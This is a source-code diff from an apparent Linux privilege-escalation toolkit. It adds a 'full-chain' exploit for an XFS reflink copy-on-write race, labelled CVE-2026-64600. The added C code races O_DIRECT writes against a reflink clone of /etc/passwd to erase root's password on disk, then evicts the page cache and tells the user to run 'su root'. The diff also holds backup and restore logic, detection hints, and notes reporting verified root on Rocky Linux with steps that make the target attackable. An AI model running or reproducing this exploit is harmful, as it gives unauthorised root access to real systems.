if (c1[1] != ':') return -1; /* field must now be empty */
|
||||
size_t newlen = strlen(tmp);
|
||||
|
||||
/* The invoking user's line must survive. */
|
||||
if (myuser && *myuser) {
|
||||
char needle[96];
|
||||
int n = snprintf(needle, sizeof needle, "%s:", myuser);
|
||||
if (n <= 0 || (size_t)n >= sizeof needle) return -1;
|
||||
int present = (strncmp(tmp, needle, (size_t)n) == 0);
|
||||
if (!present) {
|
||||
char nl[98];
|
||||
snprintf(nl, sizeof nl, "\n%s", needle);
|
||||
present = strstr(tmp, nl) != NULL;
|
||||
}
|
||||
if (!present) return -1;
|
||||
}
|
||||
|
||||
memcpy(out, tmp, newlen);
|
||||
for (size_t i = newlen; i < orig_len; i++) out[i] = '\n'; /* keep file size */
|
||||
for (size_t i = orig_len; i < RFX_BLK; i++) out[i] = '\n'; /* pad the block */
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct rfx_fc_race {
|
||||
char clone_path[PATH_MAX];
|
||||
const unsigned char *payload; /* RFX_BLK bytes */
|
||||
atomic_int gate;
|
||||
atomic_int stop;
|
||||
};
|
||||
|
||||
static void *rfx_fc_writer_fn(void *arg)
|
||||
{
|
||||
struct rfx_fc_race *r = arg;
|
||||
int fd = open(r->clone_path, O_RDWR | O_DIRECT);
|
||||
if (fd < 0) return NULL;
|
||||
void *buf = NULL;
|
||||
if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return NULL; }
|
||||
memcpy(buf, r->payload, RFX_BLK);
|
||||
while (!atomic_load_explicit(&r->gate, memory_order_acquire)) sched_yield();
|
||||
(void)pwrite(fd, buf, RFX_BLK, 0);
|
||||
free(buf);
|
||||
close(fd);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *rfx_fc_helper_fn(void *arg)
|
||||
{
|
||||
struct rfx_fc_race *r = arg;
|
||||
int fd = open(r->clone_path, O_RDWR);
|
||||
if (fd < 0) return NULL;
|
||||
while (!atomic_load_explicit(&r->gate, memory_order_acquire)) sched_yield();
|
||||
while (!atomic_load_explicit(&r->stop, memory_order_acquire)) {
|
||||
(void)ftruncate(fd, (off_t)RFX_BLK * 2); (void)fdatasync(fd);
|
||||
(void)ftruncate(fd, (off_t)RFX_BLK); (void)fdatasync(fd);
|
||||
}
|
||||
close(fd);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* One full-chain round: reflink-clone `target` into `clone`, race writers that
|
||||
* push `payload` at the clone while helpers churn, then check whether the
|
||||
* target's first `cmplen` on-disk bytes changed. Returns 1 (changed), 0
|
||||
* (intact), -1 (setup error). */
|
||||
static int rfx_fc_round(const char *target, const char *clone,
|
||||
const unsigned char *payload,
|
||||
const unsigned char *orig_fb, size_t cmplen)
|
||||
{
|
||||
int sfd = open(target, O_RDONLY);
|
||||
if (sfd < 0) return -1;
|
||||
unlink(clone);
|
||||
int cfd = open(clone, O_RDWR | O_CREAT | O_TRUNC, 0600);
|
||||
if (cfd < 0) { close(sfd); return -1; }
|
||||
int cl = ioctl(cfd, RFX_FICLONE, sfd);
|
||||
close(cfd); close(sfd);
|
||||
if (cl != 0) return -1;
|
||||
|
||||
struct rfx_fc_race r;
|
||||
memset(&r, 0, sizeof r);
|
||||
snprintf(r.clone_path, sizeof r.clone_path, "%s", clone);
|
||||
r.payload = payload;
|
||||
|
||||
pthread_t w[RFX_FC_WRITERS], h[RFX_FC_HELPERS];
|
||||
int nw = 0, nh = 0;
|
||||
for (int i = 0; i < RFX_FC_WRITERS; i++)
|
||||
if (pthread_create(&w[nw], NULL, rfx_fc_writer_fn, &r) == 0) nw++;
|
||||
for (int i = 0; i < RFX_FC_HELPERS; i++)
|
||||
if (pthread_create(&h[nh], NULL, rfx_fc_helper_fn, &r) == 0) nh++;
|
||||
if (nw == 0) {
|
||||
atomic_store_explicit(&r.stop, 1, memory_order_release);
|
||||
atomic_store_explicit(&r.gate, 1, memory_order_release);
|
||||
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
|
||||
return -1;
|
||||
}
|
||||
usleep(1500);
|
||||
atomic_store_explicit(&r.gate, 1, memory_order_release);
|
||||
for (int i = 0; i < nw; i++) pthread_join(w[i], NULL);
|
||||
atomic_store_explicit(&r.stop, 1, memory_order_release);
|
||||
for (int i = 0; i < nh; i++) pthread_join(h[i], NULL);
|
||||
|
||||
unsigned char now[RFX_BLK];
|
||||
size_t got = 0;
|
||||
if (rfx_read_block_odirect(target, now, &got) != 0) return -1;
|
||||
size_t n = cmplen < got ? cmplen : got;
|
||||
return memcmp(now, orig_fb, n) != 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
/* Byte-copy src -> dst (0600). Returns 0 on success. */
|
||||
static int rfx_copy_file(const char *src, const char *dst)
|
||||
{
|
||||
unsigned char buf[RFX_BLK];
|
||||
int in = open(src, O_RDONLY);
|
||||
if (in < 0) return -1;
|
||||
int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (out < 0) { close(in); return -1; }
|
||||
ssize_t n;
|
||||
int rc = 0;
|
||||
while ((n = read(in, buf, sizeof buf)) > 0) {
|
||||
if (write(out, buf, (size_t)n) != n) { rc = -1; break; }
|
||||
}
|
||||
if (n < 0) rc = -1;
|
||||
(void)fsync(out);
|
||||
close(in); close(out);
|
||||
return rc;
|
||||
}
|
||||
|
||||
static void rfx_fc_backup_path(const char *dir, char *out, size_t cap)
|
||||
{
|
||||
snprintf(out, cap, "%s/" RFX_SCRATCH_PREFIX "passwd.bak", dir);
|
||||
}
|
||||
|
||||
/* Evict `target`'s cached pages so subsequent BUFFERED readers (getpwnam in
|
||||
* `su`/`login`, `cat`, ...) see the freshly-overwritten on-disk bytes rather
|
||||
* than the stale page cache. The RefluXFS write lands on the shared physical
|
||||
* block WITHOUT going through the target inode, so its clean cached pages are
|
||||
* never invalidated by the kernel — without this eviction a `su` immediately
|
||||
* after the pop would read the OLD passwd and fail. POSIX_FADV_DONTNEED needs
|
||||
* only an O_RDONLY fd, which an unprivileged attacker has. */
|
||||
static void rfx_evict_cache(const char *target)
|
||||
{
|
||||
int fd = open(target, O_RDONLY);
|
||||
if (fd < 0) return;
|
||||
(void)posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
/* Does the target's root line have an empty password field on DISK right now?
|
||||
* Reads via O_DIRECT: a buffered read would be served from the stale page cache
|
||||
* (the overwrite bypasses the inode), so it must not be used to verify a win. */
|
||||
static int rfx_target_root_passwordless(const char *target)
|
||||
{
|
||||
unsigned char b[RFX_BLK]; size_t got = 0;
|
||||
if (rfx_read_block_odirect(target, b, &got) != 0 || got == 0) return 0;
|
||||
size_t n = got < RFX_BLK ? got : RFX_BLK - 1;
|
||||
b[n] = '\0';
|
||||
char *rl = (strncmp((char *)b, "root:", 5) == 0) ? (char *)b : NULL;
|
||||
if (!rl) { char *p = strstr((char *)b, "\nroot:"); if (p) rl = p + 1; }
|
||||
if (!rl) return 0;
|
||||
return strncmp(rl, "root::", 6) == 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t refluxfs_exploit_fullchain(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *target = rfx_fc_target();
|
||||
|
||||
struct stat tst;
|
||||
if (stat(target, &tst) != 0) {
|
||||
fprintf(stderr, "[-] refluxfs: full-chain target %s not found\n", target);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (tst.st_uid != 0 && !getenv("SKELETONKEY_REFLUXFS_TARGET")) {
|
||||
fprintf(stderr, "[-] refluxfs: %s is not root-owned (uid=%u) — "
|
||||
"overwriting it would not yield root; refusing\n",
|
||||
target, (unsigned)tst.st_uid);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if ((size_t)tst.st_size == 0 || (size_t)tst.st_size > RFX_BLK) {
|
||||
fprintf(stderr, "[-] refluxfs: %s is %lld bytes; this full-chain writes "
|
||||
"only the first %u-byte block (the root line lives there) "
|
||||
"— larger targets are not supported\n",
|
||||
target, (long long)tst.st_size, RFX_BLK);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char dir[RFX_DIR_MAX];
|
||||
bool assumed = false;
|
||||
if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) {
|
||||
fprintf(stderr, "[-] refluxfs: no writable XFS scratch dir for the clone\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* Craft the payload up front so we bail BEFORE touching anything if we
|
||||
* cannot safely produce a passwd that keeps the caller (and root) intact. */
|
||||
unsigned char orig[RFX_BLK];
|
||||
ssize_t orig_len = rfx_slurp(target, orig, RFX_BLK);
|
||||
if (orig_len <= 0) {
|
||||
fprintf(stderr, "[-] refluxfs: cannot read %s\n", target);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
struct passwd *pw = getpwuid(getuid());
|
||||
const char *myuser = pw ? pw->pw_name : NULL;
|
||||
unsigned char payload[RFX_BLK];
|
||||
if (rfx_craft_stripped_root(orig, (size_t)orig_len, myuser, payload) != 0) {
|
||||
fprintf(stderr, "[-] refluxfs: refusing to run — could not craft a "
|
||||
"%s payload that keeps root and '%s' intact (unexpected "
|
||||
"format?). Nothing was touched.\n",
|
||||
target, myuser ? myuser : "?");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] refluxfs: --full-chain — DESTRUCTIVE. This rewrites "
|
||||
"%s on disk (stripping root's password) via the reflink "
|
||||
"CoW race. It preserves every other line, backs the file "
|
||||
"up first, and restores on failure, but a persistent "
|
||||
"on-disk overwrite of a system file is inherently risky. "
|
||||
"Run only where you are authorised to.\n", target);
|
||||
if (rfx_extent_is_shared(target) == 1)
|
||||
fprintf(stderr, "[!] refluxfs: %s's extent is ALREADY reflink-shared "
|
||||
"— its post-CoW refcount stays > 1, so this target is "
|
||||
"likely NOT attackable (the race needs a private "
|
||||
"extent). Proceeding but expect no win; see MODULE.md."
|
||||
"\n", target);
|
||||
}
|
||||
|
||||
/* Back the target up so cleanup()/failure can restore it. */
|
||||
char backup[RFX_DIR_MAX + 64];
|
||||
rfx_fc_backup_path(dir, backup, sizeof backup);
|
||||
if (rfx_copy_file(target, backup) != 0) {
|
||||
fprintf(stderr, "[-] refluxfs: could not back up %s to %s — refusing to "
|
||||
"proceed without a restore path\n", target, backup);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] refluxfs: backed up %s -> %s. Race: %d writers / %d "
|
||||
"helpers / %ds budget against a clone of %s.\n",
|
||||
target, backup, RFX_FC_WRITERS, RFX_FC_HELPERS,
|
||||
RFX_FC_BUDGET_SECS, target);
|
||||
|
||||
unsigned char orig_fb[RFX_BLK];
|
||||
size_t fbgot = 0;
|
||||
if (rfx_read_block_odirect(target, orig_fb, &fbgot) != 0) {
|
||||
fprintf(stderr, "[-] refluxfs: cannot O_DIRECT-read %s\n", target);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
size_t cmplen = (size_t)orig_len;
|
||||
|
||||
char scratch[RFX_SCRATCH_MAX];
|
||||
snprintf(scratch, sizeof scratch, "%s/" RFX_SCRATCH_PREFIX "fc.XXXXXX", dir);
|
||||
if (!mkdtemp(scratch)) {
|
||||
fprintf(stderr, "[-] refluxfs: mkdtemp failed\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
char clone[PATH_MAX];
|
||||
snprintf(clone, sizeof clone, "%s/clone", scratch);
|
||||
|
||||
long rounds = 0;
|
||||
int won = 0;
|
||||
time_t deadline = time(NULL) + RFX_FC_BUDGET_SECS;
|
||||
while (time(NULL) < deadline && !won) {
|
||||
int d = rfx_fc_round(target, clone, payload, orig_fb, cmplen);
|
||||
if (d < 0) break;
|
||||
rounds++;
|
||||
if (d == 1) won = 1;
|
||||
if (!ctx->json && (rounds % 500) == 0)
|
||||
fprintf(stderr, "[*] refluxfs: ... %ld rounds\n", rounds);
|
||||
}
|
||||
unlink(clone);
|
||||
rfx_remove_scratch(scratch);
|
||||
|
||||
if (!won) {
|
||||
/* Target should be untouched. If it is, drop the now-redundant backup;
|
||||
* if it somehow changed, restore from it and keep nothing stale. */
|
||||
unsigned char now[RFX_BLK]; size_t g = 0;
|
||||
int changed = (rfx_read_block_odirect(target, now, &g) == 0 &&
|
||||
memcmp(now, orig_fb, cmplen) != 0);
|
||||
if (changed) (void)rfx_copy_file(backup, target); /* best-effort restore */
|
||||
unlink(backup);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] refluxfs: full-chain did not win in %ld rounds / "
|
||||
"%ds — %s %s. If its extent was pre-shared this target "
|
||||
"is not attackable; otherwise retry.\n",
|
||||
rounds, RFX_FC_BUDGET_SECS, target,
|
||||
changed ? "was restored from backup" : "unchanged");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Won. Evict the target's stale page cache so both our verify below AND a
|
||||
* subsequent `su` read the freshly-overwritten on-disk bytes, not the old
|
||||
* cached copy. */
|
||||
rfx_evict_cache(target);
|
||||
|
||||
/* Verify the target now really has a passwordless root line rather than
|
||||
* some torn/garbled block — if it's corrupt, restore from backup and fail. */
|
||||
if (!rfx_target_root_passwordless(target)) {
|
||||
(void)rfx_copy_file(backup, target);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] refluxfs: race changed %s but it did not land a "
|
||||
"clean passwordless-root line (torn write) — RESTORED "
|
||||
"from backup. Re-run to try again.\n", target);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] refluxfs: ROOT-POP CONFIRMED after %ld rounds — %s "
|
||||
"now carries a passwordless root line, written through the "
|
||||
"reflink CoW race as uid=%u. Every other account was "
|
||||
"preserved.\n", rounds, target, (unsigned)getuid());
|
||||
fprintf(stderr, "[+] refluxfs: become root with: su root (empty "
|
||||
"password — just press Enter)\n");
|
||||
fprintf(stderr, "[i] refluxfs: RESTORE when done — as root run "
|
||||
"`skeletonkey --cleanup refluxfs` (or `cp %s %s`). The "
|
||||
"overwrite is persistent and survives reboot.\n",
|
||||
backup, target);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* Dispatcher: --full-chain engages the destructive /etc/passwd root pop;
|
||||
* otherwise the safe, own-files reachability trigger. */
|
||||
static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = refluxfs_detect(ctx);
|
||||
@@ -702,6 +1162,18 @@ static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (ctx->full_chain)
|
||||
return refluxfs_exploit_fullchain(ctx);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] refluxfs: safe reachability trigger (own files "
|
||||
"only). Pass --full-chain to engage the real %s "
|
||||
"overwrite -> su -> root pop.\n", rfx_fc_target());
|
||||
return refluxfs_exploit_safe(ctx);
|
||||
}
|
||||
|
||||
static skeletonkey_result_t refluxfs_exploit_safe(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] refluxfs: reconstructed reachability probe — builds "
|
||||
"a reflinked pair of files WE OWN in a private scratch "
|
||||
@@ -879,6 +1351,27 @@ static skeletonkey_result_t refluxfs_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* First: if a full-chain run backed up the overwrite target, restore it.
|
||||
* The overwrite is persistent on disk, so this is the important half of
|
||||
* cleanup. Restoring /etc/passwd needs write permission — run this as root
|
||||
* after the pop (`su root`, then `skeletonkey --cleanup refluxfs`). */
|
||||
char backup[RFX_DIR_MAX + 64];
|
||||
rfx_fc_backup_path(dir, backup, sizeof backup);
|
||||
struct stat bst;
|
||||
if (stat(backup, &bst) == 0) {
|
||||
const char *target = rfx_fc_target();
|
||||
if (rfx_copy_file(backup, target) == 0) {
|
||||
unlink(backup);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] refluxfs: restored %s from backup %s and "
|
||||
"removed the backup\n", target, backup);
|
||||
} else if (!ctx->json) {
|
||||
fprintf(stderr, "[!] refluxfs: found a backup at %s but could not "
|
||||
"write %s (need root?). Restore manually: "
|
||||
"cp %s %s\n", backup, target, backup, target);
|
||||
}
|
||||
}
|
||||
|
||||
DIR *d = opendir(dir);
|
||||
if (!d) return SKELETONKEY_OK;
|
||||
|
||||
@@ -1060,7 +1553,7 @@ const struct skeletonkey_module refluxfs_module = {
|
||||
.detect = refluxfs_detect,
|
||||
.exploit = refluxfs_exploit,
|
||||
.mitigate = NULL, /* no runtime mitigation exists: reflink is a superblock feature that cannot be disabled on a live filesystem, O_DIRECT cannot be turned off, and SELinux/seccomp/KASLR/SMEP/SMAP are all irrelevant to a data-oriented bug. Patch the kernel and reboot. */
|
||||
.cleanup = refluxfs_cleanup,
|
||||
.cleanup = refluxfs_cleanup, /* restores /etc/passwd from the full-chain backup (run as root after the pop), then sweeps leftover scratch dirs */
|
||||
.detect_auditd = refluxfs_auditd,
|
||||
.detect_sigma = refluxfs_sigma,
|
||||
.detect_yara = refluxfs_yara,
|
||||
|
||||
+1
-1
@@ -1018,7 +1018,7 @@ static int module_safety_rank(const char *n)
|
||||
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
|
||||
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
|
||||
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
|
||||
if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — a won race rewrites 4 KiB of our own scratch file and cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), but the trigger is reconstructed and not VM-verified */
|
||||
if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented — cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), so it never downs the box. VM-verified full root pop, but gated behind --full-chain because that path persistently rewrites /etc/passwd (backed up + restorable); plain --auto runs only the safe own-files trigger */
|
||||
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
|
||||
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
|
||||
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
|
||||
|
||||
@@ -341,7 +341,7 @@ refluxfs:
|
||||
kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version
|
||||
kernel_version: "5.14.0"
|
||||
expect_detect: VULNERABLE
|
||||
verified: "2026-07-23 — CONFIRMED on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
|
||||
verified: "2026-07-23 — CONFIRMED END-TO-END (full root pop) on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. FULL CHAIN: `--exploit refluxfs --i-know --full-chain` reflink-cloned /etc/passwd, raced the CoW window, stripped root's password field on-disk (root:x: -> root::), evicted the stale page cache, and returned EXPLOIT_OK; `su root` (empty password) then gave uid=0 — 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30 s) as unprivileged uid=1000 under SELinux Enforcing, every other passwd line preserved, file backed up + restored via `--cleanup`. PRIVATE-EXTENT PRECONDITION (found here, not in the writeup): the race only fires when the target's extent refcount is exactly the attacker-clone pair, i.e. the extent must be PRIVATE going in. Stock Rocky 9's /etc/passwd ships PRE-SHARED (refcount>1 in the base image) and was NOT attackable across ~41,000 rounds; rewriting it so the extent became private (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. detect() --active reports the target's extent state. Provisioner note for re-verification: after boot, run `cp --reflink=never /etc/passwd /root/pw && cp --reflink=never /root/pw /etc/passwd` (or just `passwd`/`useradd` anything) to move /etc/passwd to a private extent, then run the full chain. Plain --exploit (no --full-chain) runs only the safe own-files trigger (EXPLOIT_FAIL). Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum."
|
||||
notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending."
|
||||
|
||||
# ── ghostlock (CVE-2026-43499) addition ─────────────────────────────
|
||||
|
||||
Reference in New Issue
Block a user